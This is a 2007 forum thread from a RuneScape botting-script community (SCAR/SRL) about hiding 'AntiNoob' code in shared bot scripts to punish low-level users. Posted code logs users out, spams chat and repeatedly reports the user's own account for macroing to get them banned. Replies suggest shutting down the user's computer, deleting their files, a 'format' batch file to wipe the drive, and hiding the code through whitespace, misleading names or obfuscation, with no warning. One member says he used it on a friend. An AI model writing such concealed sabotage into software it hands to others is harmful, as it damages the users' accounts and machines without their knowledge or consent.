SRL Archive - Research & Development Lounge

AntiNoob


Esteban

2007-07-05 14:40:57


{.include SRL\SRL.scar}

Procedure AntiNoob;
begin
if(GetCombatLevel < 20)then logout;

begin
ActivateClient;
wait(1000+random(100));
AntiNoob;
end.

I though if this last night while lying in bed, but it was a whole lot more complex than what it needed to be. you can set the 20 in if(GetCombatLevel < 20) to whatever you want the level requirement to be. I have my own way to somewhat hide this within the script, you can make your own. Also, I'd recommend calling it something else other than AntiNoob; for is the noob using the script is determined enough they could probably find the procedure by what the title of the procedure is.

Lalaji

2007-07-05 14:46:46

And the only thing an expirenced user would have to do is delete that. :)
It wouldent be that hard to find it in any script.

Esteban

2007-07-05 14:48:58

That is the thing, if the people come here just to use the script, don't post at all, don't care how the script works just as long as it runs (aka leecher), then they would probably not take the time to find out how it is stopping them.

This isn't meant to stop experienced users.

Lalaji

2007-07-05 14:53:07

Oh i see what you are saying, But seriously some of then leechers, it would take them a day or 2 manx to find where in the script\SRL you have hidden this procedure.

Esteban

2007-07-05 14:56:09

yea, and thats unaviodable unless there is a better way to add it into a script (perhaps have it in SRL), and declare the procedure in the script, so it's not actually written in the script. Of course, the procedure's title would have to be misleading, nothing like antinoob;.

Here

2007-07-05 15:22:20

Yes, these things have been tried before, but it's probably best to include in a read-only version of the SRL include.

lordsaturn

2007-07-05 15:28:39

Maybe you could stick it in SetupSRL?

3Garrett3

2007-07-05 15:35:03

Plus, that extra getcombatlevel isnt needed, only the if getcomabatlevel < 20 thing.

In case anyone wants to know, i help with this idea :) :p.

n3ss3s

2007-07-05 15:40:17

Sorry but I made the same things with extra sauce about when I got memb.
Mine removed the noobs script from comp and shut his comp down :)) gotta love
But, ofcourse you can make it different, way of your own.

Gj.

crossback7

2007-07-05 15:54:32

^^Ah that's pretty tight. Of course, it could discourage them from using SCAR if it was the first script they had used, as it would make them think that SCAR crashed their computer :p

Here

2007-07-05 16:28:42

How about wiping the entire contents of their C drive?

Naw, too harsh.

Esteban

2007-07-05 19:17:56

yea, Garrett was the one who shut down my uber complex way of doing this. But thanks for the idea man ;). Maybe a read only file of SRL would help, but all the leecher would have to do is figure out which procedure in the script keeps him from running the script, then take it out.

Here

2007-07-05 19:21:09

Then they're not a leecher, but they know how to do their own shit.

A G E N T

2007-07-05 20:14:20

You could either put it in a plugin (which would be a real pain in the ass) or, as people before have said, a read-only include. Perhaps it could be included in something that is really necessary, such as LoggedIn.

Obviously the main goal of this is to prevent naive leechers from…leeching. However, it doesn't take a true scripter to search your script for whichever phrase it displays in the debug.

It would be tricky but useful.

Santa_Clause

2007-07-05 20:20:01

Someone's been leaking to the non-members :p

Esteban

2007-07-05 20:33:15

eh SantaClause? are you saying leaking to me, or leaking to AGENT83? Either way, both of those ideas doesn't take a lot of thought to think of.

Tim0suprem0

2007-07-05 21:35:59

If it were me I wouldn't put the text in there letting them know the script stopped because of their combat level. If it just closed down for no apparent reason everytime they'd be more confused :)

Esteban

2007-07-05 21:39:12

eh thats true, maybe just have a warning on the script download page that this script is an anti-leecher script, and have the cutoff leecher level at a reasonable level.

Here

2007-07-05 22:04:36

No, there should be no warning, just have a cutoff at a reasonably low level.

3Garrett3

2007-07-06 10:07:59

From: SantaClause
Someone's been leaking to the non-members :p


Who leaked what?

n3ss3s

2007-07-06 10:37:35

But, read only version will kill us if a bug comes, like the one you had to change in "BankScreen" the 185 to 184.
Better option than read only would maybe be that every procedure would have
if(not(TheProcBelow))then TerminateScript;
then, leechers would have to rewrite whole SRL :)
And, the following ofcourse would include end else and if there are the procedures, then it can continue :))
Leechers couldnt solve that.

Lalaji

2007-07-06 12:23:16

What does if(not(TheProcBelow)) do?

Harry

2007-07-06 12:57:47

I have seen this before.. in SKy Scripter's mining guild thing.. :D

n3ss3s

2007-07-06 13:21:07

It was just an example. TheProcBelow is not a real variable on constant, but by that I ment that if there were an array of the procedure names and few other vars, we could check in every procedure if the procedure below the current exists, and that'd be included in SetupSRL;
With if then statement you can decide things by a boolean value like
" if(ClockIsOver4am)then
begin
GoSleep;
end;

Here

2007-07-06 13:33:18

I was thinking about this last night, and would like to talk to the admins about it, but I don't know, they didn't talk to me last time, so they might not notice me a second time. I'd like to know if we could implement remote includes.

TravisV10

2007-07-06 13:44:05

Cool, I will put his in my script.

Esteban

2007-07-06 16:47:26

Took it down to the bare minimum that it can be, and the explanation messages.

rotflmfwao

2007-07-12 22:11:47

From: Here
How about wiping the entire contents of their C drive?

Naw, too harsh.


Make a .bat file,

@echo off
Run format.exe -f
@echo on
Or something like that, I'm a 'lil rusty XD

destroyface

2007-07-18 22:57:05

i made a script for my friend wood cutting and he uses a lvl 3 with 58 wc so i put this in and told him it was updated lol

zenma

2007-07-24 23:44:24

hehe…kinda funny idea but i like it :D

Bobarkinator

2007-07-25 00:06:11

You can have that procedure do "SendInterScarInteger('something',1);" (I'm not sure if that is correct params) then have all the procedures try and recieve that and if they don't then terminate script

Esteban

2007-07-25 15:06:23

What are we talking about that's been leaked :confused:?

munk

2007-07-25 16:14:53

haha. yeah, ive seen this around alot. I always thought it should do something else besides logout. maybe like

if (getCombatLevel < 20) then
begin
repeat
writeln('your a toal noob');
until(false);
end;

or write a bunch of laggy procedures that would make scar freeze up and they would have to alt+f4 it (if they know how). just throw a bunch of findBitmapDeformedTol's of a bitmap that doesnt exist in runescape.

or just have it run a bunch of spam procedures and get them banned.

or have it delete there scar/includes folder


the possibilities are endless.

as far as hiding it goes, you could just press tab 50 times and theyd never find it.

Lalaji

2007-07-25 16:55:02

From: munk

as far as hiding it goes, you could just press tab 50 times and theyd never find it.


I think they would know how to search…

munk

2007-07-25 18:21:08

From: lalaji
I think they would know how to search…


leechers dont know anything. they have melons for brains.

senrath

2007-07-28 21:42:04

How about once you finish with the script and put this in, you use an obfuscator? I think that would be pretty effective :P

Esteban

2007-08-03 12:29:45

No real point in trying to obfuscate this, it is simply meant to deter leechers who don't really care about the script, as long as the script works. Msot likely, a leecher would move on to another script if they were stopped by this.

R0b0t1

2007-08-05 23:51:42

Heres an idea -

First, if they start up the script and it finds something that may mean they are a leecher, then SCAR counts 1. After it gets to five, It deletes SRL.

Jackrawl

2007-09-01 21:08:03

Yeaaaah no, they probably wouldn't understand the noob part on that. Ive got a better idea ^^

if (getCombatLevel < 20) then
begin
repeat
writeln('your a total noob');
MoveMouse(coordinates of Report Abuse);
Typesend('username');
MoveMouse(coordinates of Macroing);
ClickMouse(coordinates of Macroing);
Wait(60000);
Writeln('Thankyou for donating your IP to the Srl-Forums for testing.';
MoveMouse(coordinates of Report Abuse);
Typesend('username');
MoveMouse(coordinates of Macroing);
ClickMouse(coordinates of Macroing);
until(false);
end;

God I'd love to see their reactions…I panicked from something similar to that when an auto ranger glitched up.

kaustav_002

2007-09-01 22:55:50

your all total NOOOOBZZZ I think it isnt very hard for a noob like me to umm i dunno change a number from 20 to 120 or 10 or 3 or i dunno ,watever you want

drnewheart

2007-09-03 19:28:49

Procedure ***********;
begin
if (getCombatLevel < 127) then
begin
Writeln('Please Dont Leech');
repeat
MMouse(461,491,2,2);
Sendkeys(Username);
MMouse(75,306,2,2);
Mouse(75,306,1,1,True);
SendKeys('IM A BOTTING LEECHER');
Wait(50);
SendKeys('IM A BOTTING LEECHER');
Wait(100);
SendKeys('IM A BOTTING LEECHER');
Wait(150);
SendKeys('IM A BOTTING LEECHER');
Wait(200);
SendKeys('IM A BOTTING LEECHER');
Wait(250);
SendKeys('IM A BOTTING LEECHER');
Wait(300);
SendKeys('IM A BOTTING LEECHER');
Wait(350);
SendKeys('IM A BOTTING LEECHER');
Wait(400);
SendKeys('IM A BOTTING LEECHER');
Wait(450);
SendKeys('IM A BOTTING LEECHER');
Wait(500);
SendKeys('IM A BOTTING LEECHER');
Wait(50);
SendKeys('IM A BOTTING LEECHER');
Wait(100);
SendKeys('IM A BOTTING LEECHER');
Wait(150);
SendKeys('IM A BOTTING LEECHER');
Wait(200);
SendKeys('IM A BOTTING LEECHER');
Wait(250);
SendKeys('IM A BOTTING LEECHER');
Wait(300);
SendKeys('IM A BOTTING LEECHER');
Wait(350);
SendKeys('IM A BOTTING LEECHER');
Wait(400);
SendKeys('IM A BOTTING LEECHER');
Wait(450);
SendKeys('IM A BOTTING LEECHER');
Wait(500);
SendKeys('IM A BOTTING LEECHER');
Wait(50);
SendKeys('IM A BOTTING LEECHER');
Wait(100);
SendKeys('IM A BOTTING LEECHER');
Wait(150);
SendKeys('IM A BOTTING LEECHER');
Wait(200);
SendKeys('IM A BOTTING LEECHER');
Wait(250);
SendKeys('IM A BOTTING LEECHER');
Wait(300);
SendKeys('IM A BOTTING LEECHER');
Wait(350);
SendKeys('IM A BOTTING LEECHER');
Wait(400);
SendKeys('IM A BOTTING LEECHER');
Wait(450);
SendKeys('IM A BOTTING LEECHER');
Wait(500);
Wait(15000);
Writeln('Thankyou for donating your IP to the Srl-Forums for testing.');
until(false);
end;
end;

This is what im using for my "Anti Noob"

I put it on lvl 127 so ANY level leecher cant use my script.

havoc928

2007-09-09 19:20:34

lmao…

Billy Bobby8

2007-09-09 20:19:13

Maybe you could design a plug in that if you removed it, would corrupt the whole script?

inkd

2007-09-13 00:32:24

oh wow lmao i never eithen seen this i put a request in for someone to make an simular script :O

yeh Billy Bobby8 thats a good idea but most noobs wouldent eithen bother searching to solve the problem they would just post on the thread therefore hanging them selfs.

you can just name the procedure something other than CombatLevel or CheckNoob as then they would just delete it?

thebob142

2007-11-13 22:56:04

From: JackLKrawl
Yeaaaah no, they probably wouldn't understand the noob part on that. Ive got a better idea ^^


God I'd love to see their reactions…I panicked from something similar to that when an auto ranger glitched up.


would that even work wouldn't know new to scripting =/?